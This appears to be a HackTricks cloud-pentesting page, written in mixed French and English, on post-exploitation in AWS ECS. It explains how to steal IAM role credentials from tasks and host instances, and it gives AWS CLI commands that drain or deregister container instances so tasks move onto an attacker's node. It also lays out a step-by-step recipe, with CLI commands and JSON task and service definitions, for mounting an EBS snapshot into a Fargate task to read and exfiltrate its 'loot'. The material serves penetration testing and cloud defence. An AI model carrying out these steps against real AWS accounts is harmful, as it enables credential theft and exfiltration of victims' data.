AWS - ECS Post-exploitation

Reading time: 6 minutes

ECS

Pour plus d'informations, voir :

AWS - ECS Enum

Rôles IAM de l'hôte

In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. For more info about how to get those credentials check:

Cloud SSRF - HackTricks

Privesc to node to steal other containers creds & secrets

But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.

Making containers run in current host

Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. An attacker could modify the state of an instance to DRAINING, then ECS will remove all the tasks from it and the ones being run as REPLICA will be run in a different instance, potentially inside the attackers instance so he can steal their IAM roles and potential sensitive info from inside the container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

La même technique peut être effectuée en désenregistrant l'instance EC2 du cluster. C'est potentiellement moins discret mais cela forcera les tasks à s'exécuter sur d'autres instances :

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Une dernière technique pour forcer la ré-exécution des tasks consiste à indiquer à ECS que le task ou container a été arrêté. Il existe 3 API potentielles pour le faire :

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Voler des informations sensibles depuis des conteneurs ECR

L'instance EC2 disposera probablement aussi de l'autorisation ecr:GetAuthorizationToken, lui permettant de télécharger des images (vous pourriez y chercher des informations sensibles).

Monter un snapshot EBS directement dans une task ECS (configuredAtLaunch + volumeConfigurations)

Abusez de l'intégration native ECS ↔ EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle task/service ECS et lire ses données depuis l'intérieur du container.

• Nécessite (minimum) :

• ecs:RegisterTaskDefinition

• L'un de : ecs:RunTask OR ecs:CreateService/ecs:UpdateService

• iam:PassRole sur :

• ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

• Task execution/Task roles référencés par la task definition

• Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle d'infra (la AWS managed policy ci‑dessus inclut les KMS grants requis pour les clés gérées par AWS).

• Impact : Lire le contenu arbitraire du disque depuis le snapshot (par ex., fichiers de base de données) à l'intérieur du container et exfiltrate via network/logs.

Étapes (exemple Fargate) :

1. Créer le ECS infrastructure role (s'il n'existe pas) et attacher la managed policy :

aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes

2. Enregistrer une task definition avec un volume marqué configuredAtLaunch et le monter dans le container. Exemple (affiche le secret puis dort):

{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}

3. Créez ou mettez à jour un service en passant le snapshot EBS via volumeConfigurations.managedEBSVolume (requiert iam:PassRole sur le rôle infra). Exemple:

{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}

4. Lorsque la task démarre, le container peut lire le contenu du snapshot au mount path configuré (e.g., /loot). Exfiltrate via the task’s network/logs.

Cleanup:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read